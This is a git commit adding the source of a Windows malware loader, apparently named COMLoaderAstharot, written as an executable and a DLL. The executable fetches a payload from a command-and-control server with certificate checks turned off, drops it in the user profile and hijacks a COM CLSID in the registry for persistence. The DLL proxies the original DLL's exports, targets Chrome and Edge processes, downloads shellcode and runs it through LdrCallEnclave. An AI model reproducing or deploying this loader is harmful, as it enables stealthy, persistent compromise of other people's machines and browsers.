commit 9070acd125797c58dab8c4c9656cdc3faaf47824 Author: Astharot15 Date: Sun Jul 12 15:22:00 2026 +0200 COMLoaderAstharot diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..219be83 --- /dev/null +++ b/.gitignore @@ -0,0 +1,33 @@ +## Visual Studio 2022 C++ Cache & Artifacts +.vs/ +[Bb]in/ +[Oo]bj/ +[Dd]ebug/ +[Rr]elease/ +x64/ +x86/ +ARM/ +ARM64/ + +## C++ Compiler and Linker Outputs +*.pch +*.pdb +*.ilk +*.idb +*.obj +*.iobj +*.ipdb +*.tlog +*.lastbuildstate +*.recipe +*.log + +## Backup and Build Log Directories +$SubDir$/ +Generated Files/ +_UpgradeReport_Files/ + +## User-specific settings (Keep vcxproj, but ignore individual user layouts) +*.user +*.suo +*.sln.docstates \ No newline at end of file diff --git a/COMLoaderAstharot/COMLoaderAstharot.sln b/COMLoaderAstharot/COMLoaderAstharot.sln new file mode 100644 index 0000000..2751e5e --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot.sln @@ -0,0 +1,41 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36616.10 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COMLoaderAstharot", "COMLoaderAstharot\COMLoaderAstharot.vcxproj", "{37692E3D-B814-4397-A64E-895A7A879247}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoaderAstharotDll", "LoaderAstharotDll\LoaderAstharotDll.vcxproj", "{6092E7C5-A3AB-4D96-AFA4-410EBC350092}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x64.ActiveCfg = Debug|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x64.Build.0 = Debug|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x86.ActiveCfg = Debug|Win32 + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x86.Build.0 = Debug|Win32 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x64.ActiveCfg = Release|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x64.Build.0 = Release|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x86.ActiveCfg = Release|Win32 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x86.Build.0 = Release|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x64.ActiveCfg = Debug|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x64.Build.0 = Debug|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x86.ActiveCfg = Debug|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x86.Build.0 = Debug|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x64.ActiveCfg = Release|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x64.Build.0 = Release|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x86.ActiveCfg = Release|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {01668F62-0538-47AC-B4FB-928F39F0B841} + EndGlobalSection +EndGlobal diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.aps b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.aps new file mode 100644 index 0000000..ba04a89 Binary files /dev/null and b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.aps differ diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.cpp b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.cpp new file mode 100644 index 0000000..e174612 --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.cpp @@ -0,0 +1,121 @@ +#include +#include +#include +#pragma comment(lib, "winhttp.lib") + +struct Shellcode { + byte* data; + DWORD len; +}; + +size_t custom_strlen(const char* str) { + size_t len = 0; + while (str[len]) len++; + return len; +} + +Shellcode Download(LPCWSTR host, INTERNET_PORT port) { + struct Shellcode out = { nullptr, 0 }; + HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; + + hSession = WinHttpOpen(L"redacted header identifier for C2 server", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + + if (hSession) + hConnect = WinHttpConnect(hSession, host, port, 0); + + if (hConnect) + hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/redactedBinaryFile", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); + + if (hRequest) { + DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; + WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) + if (WinHttpReceiveResponse(hRequest, NULL)) { + + DWORD dwContentLength = 0; + DWORD dwSizeOfSize = sizeof(dwContentLength); + if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwSizeOfSize, WINHTTP_NO_HEADER_INDEX)) { + + byte* payload = (byte*)malloc(dwContentLength); + if (payload) { + DWORD dwDownloaded = 0; + DWORD totalRead = 0; + + while (totalRead < dwContentLength) { + if (!WinHttpReadData(hRequest, payload + totalRead, dwContentLength - totalRead, &dwDownloaded) || dwDownloaded == 0) { + break; + } + totalRead += dwDownloaded; + } + out.data = payload; + out.len = totalRead; + } + } + } + } + + if (hRequest) WinHttpCloseHandle(hRequest); + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); + + return out; +} + +int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { + HKEY hKey; + char username[UNLEN + 1]; + DWORD username_len = UNLEN + 1; + char fullPath[MAX_PATH]; + + const char* prefix = "C:\\Users\\"; + const char* suffix = "redactedPath"; + + if (!GetUserNameA(username, &username_len)) { + return 1; + } + + size_t prefixLen = custom_strlen(prefix); + size_t userLen = custom_strlen(username); + size_t suffixLen = custom_strlen(suffix); + + char* currentPos = fullPath; + + for (size_t i = 0; i < prefixLen; i++) *currentPos++ = prefix[i]; + for (size_t i = 0; i < userLen; i++) *currentPos++ = username[i]; + for (size_t i = 0; i < suffixLen; i++) *currentPos++ = suffix[i]; + + *currentPos = '\0'; + + Shellcode sc = Download(L"redactedIP", 443); + + if (sc.data != nullptr && sc.len > 0) { + HANDLE hFile = CreateFileA(fullPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + DWORD dwWritten = 0; + WriteFile(hFile, sc.data, sc.len, &dwWritten, NULL); + CloseHandle(hFile); + } + } + + free(sc.data); + + const char* subKeyPath = "Software\\Classes\\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\\InprocServer32"; + const char* threadingModel = "both"; + + if (RegCreateKeyExA(HKEY_CURRENT_USER, subKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { + + RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, + (const BYTE*)threadingModel, (DWORD)(custom_strlen(threadingModel) + 1)); + + RegSetValueExA(hKey, NULL, 0, REG_SZ, + (const BYTE*)fullPath, (DWORD)(custom_strlen(fullPath) + 1)); + + RegCloseKey(hKey); + } + + return 0; +} diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.rc b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.rc new file mode 100644 index 0000000..41bf1fa Binary files /dev/null and b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.rc differ diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj new file mode 100644 index 0000000..9b82a01 --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj @@ -0,0 +1,137 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {37692e3d-b814-4397-a64e-895a7a879247} + COMLoaderAstharot + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj.filters b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj.filters new file mode 100644 index 0000000..9a5c5e6 --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/COMLoaderAstharot/COMLoaderAstharot/resource.h b/COMLoaderAstharot/COMLoaderAstharot/resource.h new file mode 100644 index 0000000..02b2299 --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot/resource.h @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by COMLoaderAstharot.rc + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.aps b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.aps new file mode 100644 index 0000000..a98fb99 Binary files /dev/null and b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.aps differ diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.rc b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.rc new file mode 100644 index 0000000..ea1f5c9 Binary files /dev/null and b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.rc differ diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj new file mode 100644 index 0000000..d687163 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {6092e7c5-a3ab-4d96-afa4-410ebc350092} + LoaderAstharotDll + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + WIN32;NDEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + _DEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + false + + + + + + + + + + + Create + Create + Create + Create + + + + + + + + + \ No newline at end of file diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj.filters b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj.filters new file mode 100644 index 0000000..1a28e19 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp b/COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp new file mode 100644 index 0000000..b337df3 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp @@ -0,0 +1,253 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +// {9FC8E510-A27C-4B3B-B9A3-BF65F00256A8} +#include +#include +//#include +#include +#pragma comment(lib, "winhttp.lib") + +#include +#pragma comment(lib, "Shlwapi.lib") + +//#pragma comment(lib, "wininet.lib") + +#define PAYLOAD_EVENT_NAME L"\\RedactedEventName" + +#pragma comment(linker,"/export:DllCanUnloadNow=DataExchange_orig.DllCanUnloadNow,@1") +#pragma comment(linker,"/export:DllGetActivationFactory=DataExchange_orig.DllGetActivationFactory,@2") +#pragma comment(linker,"/export:DllGetClassObject=DataExchange_orig.DllGetClassObject,@3") + +typedef NTSTATUS(NTAPI* fnLdrCallEnclave)( + PVOID Routine, + ULONG Flags, + PVOID* RoutineParamReturn + ); + +struct Shellcode { + byte* data; + DWORD len; +}; + +HANDLE hPayloadEvent = NULL; + +BOOL IsTargetProcess() { + WCHAR szPath[MAX_PATH]; + + if (GetModuleFileNameW(NULL, szPath, MAX_PATH) == 0) { + return FALSE; + } + + if (StrStrIW(szPath, L"chrome.exe") != NULL || + StrStrIW(szPath, L"msedge.exe") != NULL) { + return TRUE; + } + + return FALSE; +} + +BOOL isPayloadRunning() { + hPayloadEvent = CreateEventW(NULL, TRUE, FALSE, PAYLOAD_EVENT_NAME); + + if (hPayloadEvent == NULL) { + return FALSE; + } + + if (GetLastError() == ERROR_ALREADY_EXISTS) { + CloseHandle(hPayloadEvent); + hPayloadEvent = NULL; + return TRUE; + } + + return FALSE; +} + +Shellcode Download(LPCWSTR host, INTERNET_PORT port) { + struct Shellcode out = { nullptr, 0 }; + HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; + + hSession = WinHttpOpen(L"redacted header identifier for C2 server", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + + if (hSession) + hConnect = WinHttpConnect(hSession, host, port, 0); + + if (hConnect) + hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/redactedBinaryFile", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); + + if (hRequest) { + DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; + WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) + if (WinHttpReceiveResponse(hRequest, NULL)) { + + DWORD dwContentLength = 0; + DWORD dwSizeOfSize = sizeof(dwContentLength); + if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwSizeOfSize, WINHTTP_NO_HEADER_INDEX)) { + + byte* payload = (byte*)malloc(dwContentLength); + if (payload) { + DWORD dwDownloaded = 0; + DWORD totalRead = 0; + + while (totalRead < dwContentLength) { + if (!WinHttpReadData(hRequest, payload + totalRead, dwContentLength - totalRead, &dwDownloaded) || dwDownloaded == 0) { + break; + } + totalRead += dwDownloaded; + } + out.data = payload; + out.len = totalRead; + } + } + } + } + + if (hRequest) WinHttpCloseHandle(hRequest); + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); + + return out; +} + +/* +Shellcode Download(LPCWSTR host, INTERNET_PORT port) { + HINTERNET session = InternetOpen( + L"", + INTERNET_OPEN_TYPE_PRECONFIG, + NULL, + NULL, + 0); + + HINTERNET connection = InternetConnect( + session, + host, + port, + L"", + L"", + INTERNET_SERVICE_HTTP, + 0, + 0); + + HINTERNET request = HttpOpenRequest( + connection, + L"GET", + L"/test.woff", + NULL, + NULL, + NULL, + 0, + 0); + + WORD counter = 0; + while (!HttpSendRequest(request, NULL, 0, 0, 0)) { + //printf("Error sending HTTP request: : (%lu)\n", GetLastError()); // only for debugging + + counter++; + Sleep(3000); + if (counter >= 3) { + break; // HTTP requests eventually failed + } + } + + DWORD bufSize = BUFSIZ; + byte* buffer = new byte[bufSize]; + + DWORD capacity = bufSize; + byte* payload = (byte*)malloc(capacity); + + DWORD payloadSize = 0; + + while (true) { + DWORD bytesRead; + + if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) { + //printf("Error reading internet file : <%lu>\n", GetLastError()); // only for debugging + break; + } + + if (bytesRead == 0) break; + + if (payloadSize + bytesRead > capacity) { + capacity *= 2; + byte* newPayload = (byte*)realloc(payload, capacity); + payload = newPayload; + } + + for (DWORD i = 0; i < bytesRead; i++) { + payload[payloadSize++] = buffer[i]; + } + + } + byte* newPayload = (byte*)realloc(payload, payloadSize); + + InternetCloseHandle(request); + InternetCloseHandle(connection); + InternetCloseHandle(session); + + struct Shellcode out; + out.data = payload; + out.len = payloadSize; + return out; +} +*/ + +BOOL executeShellcode() { + + Shellcode shellcode = Download(L"redactedIP", 443); + + if (shellcode.data == NULL || shellcode.len == 0) { + return FALSE; + } + + size_t sShellcode = shellcode.len; + + PVOID pShellcode = VirtualAlloc(NULL, sShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (pShellcode == NULL) { + free(shellcode.data); + return FALSE; + } + + memcpy(pShellcode, shellcode.data, sShellcode); + free(shellcode.data); + + DWORD dwOldProtect = NULL; + + if (!VirtualProtect(pShellcode, sShellcode, PAGE_EXECUTE, &dwOldProtect)) { + VirtualFree(pShellcode, 0, MEM_RELEASE); + return FALSE; + } + + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (hNtdll) { + fnLdrCallEnclave pLdrCallEnclave = (fnLdrCallEnclave)GetProcAddress(hNtdll, "LdrCallEnclave"); + + if (pLdrCallEnclave) { + PVOID routineParam = NULL; + pLdrCallEnclave(pShellcode, 0, &routineParam); + } + } + + return TRUE; +} + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + if (ul_reason_for_call == DLL_PROCESS_ATTACH && !isPayloadRunning() && IsTargetProcess()) { + HMODULE hPinned; + GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN, + (LPCWSTR)hModule, &hPinned); + + HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)executeShellcode, NULL, 0, NULL); + if (hThread) { + CloseHandle(hThread); + } + } + return TRUE; +} + diff --git a/COMLoaderAstharot/LoaderAstharotDll/framework.h b/COMLoaderAstharot/LoaderAstharotDll/framework.h new file mode 100644 index 0000000..54b83e9 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/COMLoaderAstharot/LoaderAstharotDll/pch.cpp b/COMLoaderAstharot/LoaderAstharotDll/pch.cpp new file mode 100644 index 0000000..64b7eef --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/COMLoaderAstharot/LoaderAstharotDll/pch.h b/COMLoaderAstharot/LoaderAstharotDll/pch.h new file mode 100644 index 0000000..885d5d6 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/COMLoaderAstharot/LoaderAstharotDll/resource.h b/COMLoaderAstharot/LoaderAstharotDll/resource.h new file mode 100644 index 0000000..e325c48 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/resource.h @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by LoaderAstharotDll.rc + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif